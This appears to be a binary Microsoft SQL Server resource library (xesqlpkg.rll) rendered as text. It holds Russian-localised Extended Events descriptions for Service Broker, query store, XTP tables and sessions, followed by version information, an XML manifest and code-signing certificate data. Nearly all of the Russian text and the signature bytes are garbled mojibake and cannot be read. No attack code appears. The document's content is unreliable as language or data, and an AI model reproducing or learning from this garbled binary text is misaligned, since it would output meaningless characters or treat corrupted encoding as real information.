B5:AB>2KE AB0B8AB8G5A:8E 40==KE.#:07K205B B8? ?5@8>40.PA1@>8AE>48B ?@8 7025@H5=88 B@0=70:F88 107K 40==KE.><5@ ?@>B>:>;0 4;O 2E>40w>7=8:05B, :>340 70?@>A A 2>7<>6=K< :0=4840B>< 4;O 2K?>;=5=8O A G5@54>20=85< =5 ?>;CG05B 2>7<>6=>AB8 B0:>3> 2K?>;=5=8O.0#:07K205B @>;L A5@25@0 2 75@:0;L=>< >B>1@065=88.PA�@>8AE>48B 2> 2@5<O D>=>2>9 0:B82=>AB8, >ACI5AB2;O5<>9 4;O ?>445@6:8 C254><;5=89 > 70?@>A0E. A?>;L7C9B5 MB> A>1KB85 4;O >BA;56820=8O 8AB5G5=8O 2@5<5=8 >6840=8O ?>4?8A:8, A>>1I5=89 C254><;5=8O >1 >B;>65==KE ?>4?8A:0E 8 C=8GB>65=8O B01;8F ?0@0<5B@>2.o45=B8D8:0B>@ 107K 40==KE, : :>B>@>9 ?@8=04;568B <>4C;L, A>45@60I89 8=AB@C:F8N, 2K?>;=5=85 :>B>@>9 1K;> =0G0B>.*0G0;> MB0?0 2>7>1=>2;O5<>9 A1>@:8 8=45:A0;?5@0B>@ "1>;LH5" 4;O 42CE AB@>:>2KE 7=0G5=89 SQL 2 .=8:>45-45=B8D8:0B>@ B5:CI59 107K 40==KE A>548=5=8O.�>7=8:05B :064K9 @07, :>340 :><?>=5=B Service Broker ?>;CG05B 70?@>A =0 >B:@KB85 8;8 70:@KB85 A>548=5=8O >B ;N1>3> 87 75@:0;L=KE M:75<?;O@>2.PA6>;CG8BL C=8:0;L=K9 845=B8D8:0B>@ 4;O ?;0=0 :><?8;OF88u#:07K205B, O2;O5BAO >H81:0 >?@545;O5<>9 ?>;L7>20B5;5< >H81:>9 (7=0G5=85 true) 8;8 A8AB5<=>9 >H81:>9 (7=0G5=85 false).PAF!>1KB85 :>=5G=>3> 02B><0B0 4>AB02:8 ?5@540G8 :><?>=5=B0 Service Broker�!B048O >1@01>B:8 ?@8 2>7=8:=>25=88 A>1KB8O.  !>1KB85 <>65B 2>7=8:=CBL 2> 2@5<O :><?8;OF88 8;8 2K?>;=5=8O DML-?;0=0.  A?>;L7C9B5 MB> ?>;5 40==KE 4;O D8;LB@0F88 A>1KB89.  'B>1K C2845BL, 2>7=8:;0 ;8 ?@>1;5<0 ?> :@09=59 <5@5 >48= @07, 70?@0H8209B5 B>;L:> A>1KB8O 2@5<5=8 :><?8;OF88.  'B>1K C2845BL, :0: G0AB> 2>7=8:0;0 ?@>1;5<0, 70?@0H8209B5 B>;L:> A>1KB8O, =5 >B=>AOI85AO :> 2@5<5=8 :><?8;OF88.>;CG5=85 8<5=8 C7;0 :;85=B0-<O 107K 40==KE, A>45@60I59 87<5=O5<K9 >1J5:BQ>7=8:05B, :>340 >?5@0F8O ALTER TABLE DROP =04 AB>;1F>< >1=>2;O5B 107>2K9 8=45:A.7>7=8:05B ?@8 =0G0;5 8;8 >:>=G0=88 >?5@0F88 ?>43>B>2:8.F<O 107K 40==KE, A>45@60I59 >1J5:B, ?>8A: :>B>@>3> 2K?>;=O5BAO 2 :MH5.PAq<O >1J5:B0, C40;5==>3> 87 :MH0. -B> ?>;5 =5 70?>;=O5BAO 2 A;CG05 =5@53;0<5=B8@>20==KE 8 ?>43>B>2;5==KE 70?@>A>2.PA@5<O :><?8;OF88 70?@>A0.�>7=8:05B 2> 2@5<O >?5@0F88 <>48D8:0F88 AB>;1F0. #:07K205B, >B=>A8BAO ;8 >?5@0F8O <>48D8:0F88 AB>;1F0 8A:;NG8B5;L=> : <5B040==K<.)@>8AE>48B ?@8 A>740=88 >BG5B0 >1 >H81:5.PA4 07<5@ A5B52>3> ?0:5B0, 8A?>;L7C5<>3> 4;O A>548=5=8O�45=B8D8:0B>@ >1J5:B0 <>4C;O, 2K?>;=5==>3> ?@8 ?@8<5=5=88 ?;0=0. A;8 @C:>2>4AB2> 2 <>4C;5 =5 ?@8<5=O;>AL, ?>;5 8<55B 7=0G5=85 NULL.0;8F> A>>1I5=85 >1 >H81:5C>7=8:05B ?@8 ?5@5=0?@02;5=88 A>>1I5=8O :><?>=5=B>< Service Broker.PA,=45:A =0E>48BAO 2 ?@>F5AA5 ?>2B>@=>9 A1>@:8203@C65==K5 ?0@0<5B@K 2>7>1=>2;5=8O A1>@:8 8=45:A0!>>1I5=85 >1 >H81:5PAR45=B8D8:0B>@ 107K 40==KE, 2 :>B>@>9 1K;> >AB0=>2;5=> ?>;=>B5:AB>2>5 A:0=8@>20=85.9#:07K205B, 1K; ;8 O2=> 7040= 15A:>=5G=K9 ?5@8>4 E@0=5=8O.PAJ>7=8:05B =5?>A@54AB25==> ?5@54 >:>=G0=85< A>740=8O B01;8FK E@0=8;8I0 XTP.4#:07K205B A>AB>O=85 >H81:8, 5A;8 >H81:0 8<5;0 <5AB>.><5= A50=A0 NT.Z'8A;> ?0@0<5B@>2 2 70?@>A5, 2:;NG0O ?0@0<5B@K ?>;L7>20B5;O 8 02B><0B8G5A:>9 ?0@0<5B@870F88A7<5=5=85 7=0G5=8O RgLog 4;O C?@02;O5<KE 107 40==KE 6C@=0;0 RbIo.PA$>7=8:05B 2 =0G0;5 D>@<8@>20=8O MAT.(<O 8=8F80;878@>20==>3> ?>AB02I8:0 OLEDBD45=B8D8:0B>@ M:75<?;O@0 :><?>=5=B0 Service Broker C40;5==>9 A;C61K.)=B5@20; AB0B8AB8:8, C:070==K9 2 70?@>A5.PA`!>2>:C?=>5 2@5<O <564C =5A:>;L:8<8 2K7>20<8 2 >?5@0F8N ?>AB0=>2:8 2 >G5@54L 8 2K?>;=O5<CN 7040GC#45=B8D8:0B>@ >1J5:B0, A>45@60I53> 70?@>A, :>B>@K9 =5 A<>3;> >BA;548BL E@0=8;8I5 70?@>A>2. -B>B >1J5:B <>65B 1KBL E@0=8<>9 ?@>F54C@>9, B@8335@>< 8;8 >?@545;O5<>9 ?>;L7>20B5;5< DC=:F859. ;O =5@53;0<5=B8@>20==KE ?0:5B>2 8;8 ?>43>B>2;5==KE 8=AB@C:F89 Transact-SQL 845=B8D8:0B>@ object_id ?CAB.&>4 >H81:8 4;O A1>O (?@8 53> =0;8G88).PA.'8A;> ;>38G5A:8E >?5@0F89 70?8A8 2 MB>< B0:B5.;>2>5 7=0G5=85 CAB0=>2;5==KE 8 A1@>H5==KE D;03>2 ?><>I=8:0./<O A;C61K, :>B>@>9 1C45B >B?@02;5=> A>>1I5=85.<#254><;5=85 >1 87<5=5=88 <5B040==KE, ?>;CG5==>5 >B ?;0BD>@<Kc'8A;> >?5@0F89 0=0;870 4>:C<5=B>2 A >?@545;5==K< @0AH8@5=85< D09;0 ?>;=>B5:AB>2K< D8;LB@>< IFilter.i!:>;L:> @07 8A?>;L7>20;AO D;03 B@0AA8@>2:8 A50=A0 4;O ?@8=C48B5;L=>3> 7040=8O CAB0@52H59 >F5=:8 :@0B=>AB8-@54K4CI55 7=0G5=85 D;03>2 A5@25@0 ?><>I=8:0.PA+@8G8=0, ?> :>B>@>9 A>>1I5=85 1K;> C40;5=>.!60B85 40==KE 2:;NG5=>.n>;CG5=85 7=0G5=8O sql_handle 4;O B5:CI53> ?0:5B0 A =><5@>< AB@>:8, A<5I5=85< 8=AB@C:F88 8 C@>2=5< 2;>65==>AB8E:B828@C5BAO ?@8 >B?@02:5 7040G8 4;O E@0=8;8I0 70?@>A>2 =0 2K?>;=5=85*7<5=5=85 @07<5@0 D09;>2 40==KE 107 40==KEPAO#:07K205B B8? D>=>2>3> 459AB28O C254><;5=8O > 70?@>A5, :>B>@>5 2K720;> A>1KB85.PA045=B8D8:0B>@ 70?@>A0 ACI5AB2CNI53> ?C;0 40==KE.%%MH @0A?@545;5==>3> 70?@>A0 2 SQL�FE.� -B> =C6=>, 5A;8 2A5 >AB0;L=K5 ?0@0<5B@K 8<5NB 7=0G5=85 True, => 2K =5 2848B5 ?0:5B=K9 @568< 2 8B>3>2>< ?;0=5, B0: :0: >?5@0B>@ ?0:5B=>9 >1@01>B:8 =5 ?@52KA8; ?>@>3>2>5 7=0G5=85 AB>8<>AB8 8 =5 CG8BK205BAO 2 ?0:5B=>< @568<5.c=0G5=85 True, 5A;8 ?>;CG5=0 A25@B:0 A> 7=0G5=85< NULL; False, 5A;8 7=0G5=85 A25@B:8 =5 @02=> NULL.PA#@5<O :><?8;OF88 (2 <8;;8A5:C=40E).PAD>72@0I05B B5:CI55 A>AB>O=85 480;>30 =0 <><5=B D>@<8@>20=8O A>1KB8O..<O 107K 40==KE, A>45@60I59 2K?>;=5==K9 >1J5:B-0?CA: >B<5=K <83@0F88 107K 40==KE 8 >1J5:B0.PA8!:0;O@=0O ?>;L7>20B5;LA:0O DC=:F8O TSQL ?@>0=0;878@>20=0';8B5;L=>ABL 2K?>;=5=8O 2 <8:@>A5:C=40EPA�@>8AE>48B ?@8 70?CA:5 70?@>A0 COMMIT TRANSACTION, =0?@02;5==>3> 87 :;85=BA:>3> ?@8;>65=8O G5@57 8=B5@D59A C?@02;5=8O B@0=70:F8O<8.3><?>=5=B, A>>1I0NI89 > A>AB>O=88 @01>B>A?>A>1=>AB8D"01;8F0, 4;O :>B>@>9 ?@>87>H5; A1>9 ?@>25@:8 A>3;0A>20==>AB8 40==KE.W!>1KB85, A>740205<>5, :>340 ?0:5B 7040G <83@0F88-?5@5=>A0 ?>2B>@=> ?>AB02;5= 2 >G5@54L.PA70B@0G5==K5 B0:BK &6"01;8F0, 4;O :>B>@>9 =0G0;0AL >G8AB:0 B01;8FK 6C@=0;0.`@>8AE>48B ?@8 70?CA:5 D>=>2>9 7040G8 >G8AB:8 B5<?>@0;L=KE B01;8F 6C@=0;>2 A ?>;8B8:>9 E@0=5=8O.R#:07K205B, 1C45B ;8 A>548=5=85 :;85=B0 >B>1@060BLAO 2 2845 28@BC0;L=>3> IP-04@5A0.#5?>445@68205<0O DC=:F8O <0B@8FK V1!1=>2;5==0O D0:B8G5A:0O :@0B=>ABLI@8G8=0, ?> :>B>@>9 =5 8A?>;L7C5BAO >?5@0B>@ <=>65AB25==KE 2=5H=8E :;NG59PAD8:A8@>20==K9 AG5BG8: 1PA@/2;O5BAO ;8 MB> =0G0;>< 8;8 >:>=G0=85< 2K?>;=5=8O A G5@54>20=85<!>1KB85 ALTER COLUMNm!:>;L:> @07 8A?>;L7>20;AO 3;>10;L=K9 D;03 B@0AA8@>2:8 4;O ?@8=C48B5;L=>3> 7040=8O CAB0@52H59 >F5=:8 :@0B=>AB8�@>8AE>48B 2> 2@5<O >1=>2;5=8O 2A5E ?@54AB02;5=89 <><5=B0;L=KE A=8<:>2 ?@8 A1>5 >1=>2;5=8O >4=>3> 87 ?@54AB02;5=89 <><5=B0;L=KE A=8<:>2 #:07K205B B8? >B:@KB>3> :C@A>@0.@>8AE>48B ?@8 >B:;NG5=88.J45=B8D8:0B>@ 107K 40==KE, 2 :>B>@>9 70?CI5=> ?>;=>B5:AB>2>5 A:0=8@>20=85.>4 >H81:8, 2K7202H59 A1>9,>?040=85 2 :MH :C@A>@>2 48A?5BG5@0 :C@A>@>2�@>8AE>48B ?@8 >B?@02:5 2 Windows A 8A?>;L7>20=85< API 2545=8O 6C@=0;0 4>ABC?0 ?>;L7>20B5;59 A>>1I5=8O >1 CA?5H=>< A>548=5=88 A A5@25@><. -B> A>1KB85 0:B828@C5BAO B>;L:> 4;O =>2KE A>548=5=89. !1@>AK A>548=5=89 =5 >BA;56820NBAO.S>;CG05B =5>1O70B5;L=K9 845=B8D8:0B>@, ?@54>AB02;O5<K9 :;85=B>< 2> 2@5<O A>548=5=8O>;CG05B 8<O M:75<?;O@0 A5@25@0PAI@8G8=0, ?> :>B>@>9 =5 8A?>;L7C5BAO >?5@0B>@ <=>65AB25==KE 2=5H=8E :;NG59<O TVF+>;CG5=85 845=B8D8:0B>@0 B5:CI59 B@0=70:F88Q>7=8:05B ?5@54 2K?>;=5=85< ?@>25@:8 =0 4>?CAB8<>ABL ?@>?CA:0 A:0=8@>20=8O 2E>40.!B5?5=L ?0@0;;5;87<0 (DOP).K45=B8D8:0B>@ >1J5:B0 <>4C;O, :>B>@><C ?@8=04;568B =502B>=><=0O 8=AB@C:F8O.,@>8AE>48B ?@8 >1=0@C65=88 ?@>AB59H53> ?;0=0A<O :><?>=5=B0 :;85=BA:>9 G0AB8 SQL, 2 :>B>@>< ?@>87>H;> A>1KB85.�XML-4>:C<5=B, A>45@60I89 A2545=8O >1 >?@545;5==>< 459AB288, 2K?>;=O5<>< =04 ?>4?8A:>9 =0 C254><;5=8O. >:C<5=B A>>B25BAB2C5B AE5<5, ?@82545==>9 ?> 04@5AC http://go.microsoft.com/fwlink/?LinkId=63331.`>7=8:05B, :>340 ?@8 2K?>;=5=88 ?>8A:0 2 >1J5:B=>< ?C;5 columnstore =C6=K9 >1J5:B C405BAO =09B8.:4@5A :>=5G=>9 B>G:8 :><?>=5=B0 Service Broker =0 A5@25@5.�:B828@C5BAO, 5A;8 :>=B5:AB 157>?0A=>AB8 2E>4OI53> ?>4:;NG5=8O ?5@5>?@545;O5BAO :>=B5:AB>< 157>?0A=>AB8 ?>4@07C<5205<>3> 8<5=8 4;O 2E>40.K0G0;> 703@C7:8 @01>G59 B01;8FK >1J5:B>2 ?5@540G8 :><?>=5=B0 Service BrokerWAB0B8AB8:0 ?@>872>48B5;L=>AB8 ?@8 ?@>25@:5 ?>4;8==>AB8: A>740=85 B>:5=0 8<5=8 4;O 2E>40PA�@>8AE>48B, :>340 E@0=8<0O ?@>F54C@0 C40;O5BAO 87 :MH0 ?@>F54C@. ;O 4803=>AB8:8 ?@>1;5<, 2K720==KE :MH5< ?@>F54C@, 8A?>;L7C9B5 MB> A>1KB85 A>2<5AB=> A 4@C38<8 A>1KB8O<8 sp_cache_*.PA?>;=>5 8<O 42>8G=>3> D09;0, =5 ?@>H54H53> ?@>25@:C ?>4;8==>AB8.07=0G5=8O >H81>:7=5=C;52>5 7=0G5=85 AAK;05BAO =0 AB@>:C B5:AB0 A>>1I5=8OPA">4 A>AB>O=8O >H81:8 SQL ?@8 A1>5.@>8AE>48B, :>340 >?B8<870B>@ =5 <>65B ?>;CG8BL 4>AB0B>G=> 40==KE >1 8718@0B5;L=>AB8 A>548=5=8O.  A?>;L7C9B5 MB> A>1KB85 4;O ?@>A<>B@0 70?@>A>2, 2 :>B>@KE <>6=> 8A?>;L7>20BL ?@>AB@0=AB25==K9 8=45:A, 0 >?B8<870B>@ 45;05B ?@54?>;>65=85 > ?@>AB@0=AB25==>9 8718@0B5;L=>AB8.+7<5=5=0 ?>;8B8:0 @0A?@545;5=8O 107K 40==KE!>AB>O=85 >?5@0F88.�@>8AE>48B, :>340 E@0=8<0O ?@>F54C@0 4>102;O5BAO 2 :MH ?@>F54C@. ;O 4803=>AB8:8 ?@>1;5<, 2K720==KE :MH5< ?@>F54C@, 8A?>;L7C9B5 MB> A>1KB85 A>2<5AB=> A 4@C38<8 A>1KB8O<8 sp_cache_*.PA>B:;NG5=85 A50=A0 ?5@54 >BG5B>< >1 C40;5=88 2@5<5==KE >1J5:B>2=45:A ?@5@20=$?8A0=85 ?@8G8=K C40;5=8O A>>1I5=8O.)#:07K205B G8A;> 0:B82=KE 7040G 2 >G5@548.*1=0@C65= =5?>445@68205<K9 B8? 8=AB@C:F88.L#:07K205B, 7025@H8;0AL 703@C7:0 A1>@:8 CA?5H=> (true) 8;8 =5CA?5H=> (false).#45=B8D8:0B>@ B@0=A?>@B=>3> ?>B>:0.4#:07K205B AB@0=8FC :>40 4;O D09;0 8AB>G=8:0 8<?>@B0.<<O M:75<?;O@0, ?@>872>4=>5 >B 8<5=8 A5@25@0 2 70?8A8 2E>40.,<O 107K 40==KE, A>45@60I59 C40;O5<K9 >1J5:BE>;8G5AB2> C40;5==KE >?5@0F89 GB5=8O, 2K?>;=5==KE 2> 2@5<O 0:B820F88.659AB285 2=CB@8 480;>30, :>B>@>5 8=8F88@>20;> A>1KB85.PAh@>8AE>48B, :>340 ?@>F5AA >G8AB:8 B5<?>@0;L=>9 B01;8FK 6C@=0;0 A ?>;8B8:>9 E@0=5=8O 7025@H8;AO =5C40G=>.x@>8AE>48B ?@8 2K?>;=5=88 >?5@0F88, A2O70==>9 A B01;8F0<8 ?0@0<5B@>2, :>B>@K5 8A?>;L7CNBAO 2 C254><;5=8OE 70?@>A>2. A?>;L7C9B5 MB> A>1KB85 4;O =01;N45=8O 70 >?5@0F8O<8, A2O70==K<8 A A>740=85< 8 ?>445@6:>9 AG5BG8:>2 AAK;>: 8 C40;5=85< 2=CB@5==8E B01;8F, 2 :>B>@KE E@0=OBAO A2545=8O > ?0@0<5B@0E. -B> A>1KB85 B0:65 >BA;568205B A1@>A AG5BG8:0 8A?>;L7>20=8O 2 B01;8F5 ?0@0<5B@>2.P!>1KB85, :>B>@>5 >?8AK205B AB0B8AB8:C, >1=>2;5==CN ?@8 2K?>;=5=88 A G5@54>20=85<1>7=8:05B ?> >:>=G0=88 @0725@BK20=8O >1J5:B0 XTP.PA2?@545;O5B @07;8G=K5 B8?K ?@8G8= 7025@H5=8O A50=A0c#:07K205B, O2;O5BAO ;8 MB> ?>4:;NG5=85 B5<, :>B>@>5 CAB0=>2;5=> A 02B>=><=>9 ?@>25@:>9 ?>4;8==>AB8.#'8A;> 1CD5@>2, C:070==>5 2 70?@>A5.>1I89 AG5BG8: 1PA<O B8?0 7040G8 QDS�"8? ?5@5=0?@02;5==>3> A>>1I5=8O. "8? A>>1I5=89 >?@545;O5BAO A ?><>ILN :><0=4K Transact-SQL CREATE MESSAGE TYPE ?@8 =0AB@>9:5 :><?>=5=B0 Service Broker.545=B8D8:0B>@ 8=AB@C:F88 B5:CI59 :><?8;OF88 2 ?0:5B5.PAF>;8G5AB2> D878G5A:8E >?5@0F89 GB5=8O, 2K?>;=5==KE 2> 2@5<O 0:B820F88.025@H5=85 2K?>;=5=8O <>4C;O]:B828@C5BAO, 5A;8 70?@>A =0 ?>4:;NG5=85 8<55B ?@02> =0 ?>4@07C<5205<CN ?@>25@:C ?>4;8==>AB8.PA/<O :;0AA8D8F8@>20==>9 3@C??K @01>G59 =03@C7:8.@;0AA >1J5:B0, A>45@60I53> ?>2B>@=> A:><?8;8@>20==CN 8=AB@C:F8N.5?@545;5=85 B>3>, O2;O5BAO ;8 B5:CI89 A50=A A8AB5<=K<i!>>1I05B > 2K?>;=5=88 >?5@0F88 DML >1=>2;5=8O ?5@5=>A0, 2 :>B>@>9 8A?>;L7>20;0AL ?>4A:07:0 04<8=8AB@0B>@0PA�XML-4>:C<5=B, A>45@60I89 A2545=8O > :>=:@5B=KE D>=>2KE 459AB28OE 4;O C254><;5=89 > 70?@>A0E. >:C<5=B A>>B25BAB2C5B AE5<5, ?@82545==>9 ?> 04@5AC http://go.microsoft.com/fwlink/?LinkId=63331.6!>>1I05B > 7025@H5=88 >B<5=K ?5@5<5I5=8O ?0:5B0 AB@>:. 568< 2K?>;=5=8O.PA/"8? @07=>@>4=KE B01;8F, 8A?>;L7C5<KE 2 70?@>A5.PA:'8A;> AB@0=8F, 70?8A0==KE 2 E>45 70?8A8 40==KE 8=AB@C:F859�@>8AE>48B ?@8 7025@H5=88 70?@>A0 PROMOTE TRANSACTION, >B?@02;5==>3> 87 :;85=BA:>3> ?@8;>65=8O G5@57 8=B5@D59A C?@02;5=8O B@0=70:F8O<8.PAf<O 107K 40==KE, C:070==>5 2 70?8A8 2E>40, ?@8 53> >BACBAB288 8A?>;L7C5BAO 7=0G5=85 {DEFAULT_DATABASE}S8A?5BG5@ A50=A>2: @01>G89 M;5<5=B 1K; ?>AB02;5= 2 >G5@54L 2K?>;=5=8O ?C;0 ?>B>:>2.PA$!>>1I05B > A=OB88 1;>:8@>2:8 B01;8FK@@5<O (2 <8:@>A5:C=40E), =5>1E>48<>5 4;O 7025@H5=8O 2K7>20 OLEDB(>7=8:05B 2 =0G0;5 A>740=8O B01;8FK XTP.K 0AH8@5=85 D09;0 4>:C<5=B0, 0=0;878@C5<>3> ?>;=>B5:AB>2K< D8;LB@>< IFilter.\>;CG05B 8<O CG0AB=8:0 =0 C@>2=5 A5@25@0, 8=8F88@>202H53> A50=A, 2 :>B>@>< ?@>87>H;> A>1KB85-!>AB>O=85 0:B820F88 :><?>=5=B0 Service Broker,@>8AE>48B ?@8 2K7>25 ?>4?@>3@0<<K SQLExit()^=0G5=85 true, 5A;8 >B:;NG5=85 ?@>87>H;> 2> 2@5<O @01>BK, 2 ?@>B82=>< A;CG05�  7=0G5=85 false.^A?>;L7>20BL ?>2B>@=> :MH8@>20==>5 A>548=5=85 87 ?C;0 A>548=5=89 8;8 A>740BL =>2>5 A>548=5=85?@45=B8D8:0B>@ C40;5==>3> A5@25@0, : :>B>@><C ?>4:;NG05BAO 2K7>2.<<O 107K 40==KE, :>B>@0O A>45@68B >1J5:B, 2AB02;5==K9 2 :MH.3"01;8F0, 2 :>B>@>9 ?@>87>H5; A1>9 <83@0F88 6C@=0;0.PAb@5<O, ?>B@0G5==>5 =0 0=0;87 ?@>25@:8 70?@>A0 8 B@51>20=89 FedAuth 70 8A:;NG5=85< ?@>25@:8 ?>4?8A8r!>>1I05B > D@03<5=B5, 2K1@0==>< 2 :0G5AB25 8AE>4=>3> >4=8< 87 @01>G8E M;5<5=B>2 A;8O=8O 2 D>=>2>< @568<5 2 D075 1.ColumnId 4;O ALTER COLUMNPA#:07K205B B8? 8=45:A0.�>@O4:>2K9 =><5@, :>B>@K9 C25;8G8205BAO, GB>1K ?>:070BL ?>A;54>20B5;L=K5 H038 4;O >4=>3> peer_activity_id. A?>;L7C5BAO 2 A>G5B0=88 A ?@82545==K< =865 peer_activity_id.[>2>5 7=0G5=85 D;030, C:07K20NI53>, 1K; ;8 @568< =0AB@>9:8 107K 40==KE CAB0=>2;5= A8AB5<>9.5@5=5A5==K5 AB@>:8 40==KE.I><5@ >H81:8 4;O ;N1>9 >H81:8, A2O70==>9 A 70?@>A>< ROLLBACK TRANSACTION.PA "8? >1J5:B0, 2AB02;5==>3> 2 :MH./>2K5 ?0@0<5B@K A>@B8@>2:8 2=5H=59 107K 40==KE..'8A;> ;>38G5A:8E >?5@0F89 GB5=8O 2 MB>< B0:B5.>45=B8D8:0B>@ 107K 40==KE, :>B>@0O A>45@68B 87<5=O5<K9 >1J5:B.N@8<5@=K9 >1J5< ?0<OB8, =5>1E>48<K9 4;O 2K?>;=5=8O 03@530F88 3;>10;L=>3> EMH0.4@>8AE>48B, :>340 A50=A DQ C40;O5BAO 87 :MH0 A50=A0.PA!45=B8D8:0B>@ F5;52>3> D@03<5=B0.D45=B8D8:0B>@ 107K 40==KE, A>45@60I59 >1J5:B A 4>102;O5<K< AB>;1F><. "8? ?5@5=0?@02;5==>3> A>>1I5=8O.PA)!2545=8O > B8?5 >:=0 8 @568<5 2K?>;=5=8O.PAB45=B8D8:0B>@ 107K 40==KE, A>45@60I59 >1J5:B A C40;O5<K< AB>;1F><.3<O 107K 40==KE, A>45@60I59 >G5@54L ?@54C?@5645=89.PAe!>>1I05B > F5;52>< D@03<5=B5, A>740==>< >4=8< 87 @01>G8E M;5<5=B>2 A;8O=8O 2 D>=>2>< @568<5 2 D075 1.A!@010BK205B ?@8 2K?>;=5=88 70?@>A0 =0 ?5@58<5=>20=85 107K 40==KE.�@>8AE>48B ?@8 A1>5 D>=>2>9 7040G8 >G8AB:8 B5<?>@0;L=KE B01;8F 6C@=0;>2 A ?>;8B8:>9 E@0=5=8O, ?@8G5< MB>B A1>9 ?@>87>H5; 2=5 ?@>F5AA0 >G8AB:8 4;O C:070==KE B01;8F.PA(;NG52K5 A;>20 4;O 3@C??8@>20=8O A>1KB89!2O70==>5 :;NG52>5 A;>2>�4VS_VERSION_INFO������?XStringFileInfo4041904B0PlatformNT�PLegalTrademarksMicrosoft SQL Server O2;O5BAO >E@0=O5<K< B>20@=K< 7=0:>< :>@?>@0F88 09:@>A>DB. CommentsSQL&GoldenBitsTrueLCompanyName>@?>@0F8O 09:@>A>DBr%FileDescription81;8>B5:0 ?0:5B>2 XE 8=B53@0F88 SQLx,FileVersion2019.0150.2000.05 ((SQLServer).190924-2033):
InternalNamexesqlpkg.rll�CLegalCopyright>@?>@0F8O 09:@>A>DB (Microsoft Corporation). A5 ?@020 70I8I5=K.B
OriginalFilenamexesqlpkg.rllJProductNameMicrosoft SQL Server<ProductVersion15.0.2000.5DVarFileInfo$Translation�<?xml version='1.0' encoding='UTF-8' standalone='yes'?>
<assembly xmlns='urn:schemas-microsoft-com:asm.v1' manifestVersion='1.0'>
  <trustInfo xmlns="urn:schemas-microsoft-com:asm.v3">
    <security>
      <requestedPrivileges>
        <requestedExecutionLevel level='asInvoker' uiAccess='false' />
      </requestedPrivileges>
    </security>
  </trustInfo>
</assembly>
PADPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADh>0�>V	*�H��
��>G0�>C10	+0L
+�7�>0<0
+�70	���0!0	+�u��L�`�g7�,�5!�S3���0��0� 3/k�N~`0
	*�H��
0w10	UUS10U
Washington10URedmond10U
Microsoft Corporation1!0UMicrosoft Time-Stamp PCA0
180823202025Z
191123202025Z0��10	UUS10	UWA10URedmond10U
Microsoft Corporation1-0+U$Microsoft Ireland Operations Limited1&0$UThales TSS ESN:179E-4BB0-82461%0#UMicrosoft Time-Stamp service0�"0
	*�H��
�0�
����ʙ���$u��t]x}�D�`Y*��u����f���V�����e�0����M�۬g�a'�f�r‰�C~D!��A�a����ˬ�P�&��a�ޚ�?���9m�D�mĠ+r�yw4?���6����v6�q��c㒯#v�(�n�D�Q����4�,M�{���&��v^a/�t5��E�ף�J7;�����`��y�Y���_W�H�хQ�p��zh��@�9�ƕ��q�p��e����	0�0U�g�]m���ac�iW(�0U#0�#4��RFp
�@�v��+��5�0TUM0K0I�G�E�Chttp://crl.microsoft.com/pki/crl/products/MicrosoftTimeStampPCA.crl0X+L0J0H+0�<http://www.microsoft.com/pki/certs/MicrosoftTimeStampPCA.crt0U%0
+0
	*�H��
�yvz�����T�%�K��d&�4��?,���<P�(_�I�n�|�@kr�z�[+2��#!Lj���"���v�
�U��8�K/X5�&�.�4I%��
T"i����q��s�9�[	0ޓ����>��ԏ�V?��MͶ����w��^,�#�љ^��#v��E�s�`��6��m��[�^^u���*�=��z��*���T���V�
�$fKK(`h��h^���U�=�Yg(���]�%D�A�_0��0�ߠ3�|��`����0
	*�H��
0y10	UUS10U
Washington10URedmond10U
Microsoft Corporation1#0!UMicrosoft Code Signing PCA0
190502212033Z
200502212033Z0t10	UUS10U
Washington10URedmond10U
Microsoft Corporation10UMicrosoft Corporation0�"0
	*�H��
�0�
����k*)�i퐭��՗+��IJ���E �Z:p�v�@�'�����Z3qʱ����^(��D�P��sY�Ep;��o�\ �(1���䱚GM<�J��f�,�U�muј^�;�F́X\��N��W���
%�%W�2�J~A��u}�ߋ�Nf
����L��,���i�HqxWw��� ����m.������:d�4���̑����yϼ̕}|�@�n���L`�!mW5�(ӭ
�܉����{0�w0U%0
+0Up���mu���*:'YG�0TUM0K�I0G1-0+U$Microsoft Ireland Operations Limited10U
229803+4541060U#0��p�R4���'���ؽ�mGN0bU[0Y0W�U�S�Qhttp://crl.microsoft.com/pki/crl/products/Microsoft%20Code%20Signing%20PCA(2).crl0f+Z0X0V+0�Jhttp://www.microsoft.com/pki/certs/Microsoft%20Code%20Signing%20PCA(2).crt0
	*�H��
�N��{�b~�=�G@������Q��Q��F�!e^bm�5�Z�꼣�h����9qp�g�&��}ZJI�δ7�909��yD�oTRIn>����X�~�G�L"x���3'��
L8*��D�e��h��JY+{p���X�6����-'����ۦ����b�شx�/.�9��5t��"5>��'���`��$yN`҄�u��J
E�:|�M�:�g�Q��#'$غ�Ȳ�1��
���A\e�0��0���
a5E?0
	*�H��
0_10
	�&���,dcom10
	�&���,d	microsoft1-0+U$Microsoft Root Certificate Authority0
180920174200Z
210509232813Z0y10	UUS10U
Washington10URedmond10U
Microsoft Corporation1#0!UMicrosoft Code Signing PCA0�"0
	*�H��
�0�
��������F��fɧ]
~�=���1��ԅ���2����A��7��|W����Z`�1
a�"�|V4b�^Z�.�@*�=�aD؎�6Y�c���������_+�P_�	Ґ頷,DA�eR7,�����,���c�Q����8^|�����)@ߔv*�e��m�'�§���j�Ƨ�f�hw�^��	�R�sQ�*�Q#�I�����P^�Oc?�/���M+q�Y('M��^0�Z0U�0�0U�p�R4���'���ؽ�mGN0U�0	+�70#	+�7<����Up�iB���8��W0	+�7
SubCA0U#0���`@V'��%�*�
S�Y�0PUI0G0E�C�A�?http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl0T+H0F0D+0�8http://www.microsoft.com/pki/certs/MicrosoftRootCert.crt0
	*�H��
�={�.�6�B�UO�����9
������"˅yC�����5�˅�->M�Q�$����c������
m.U5�,yaƶM�V&��e��.�<He��D���4
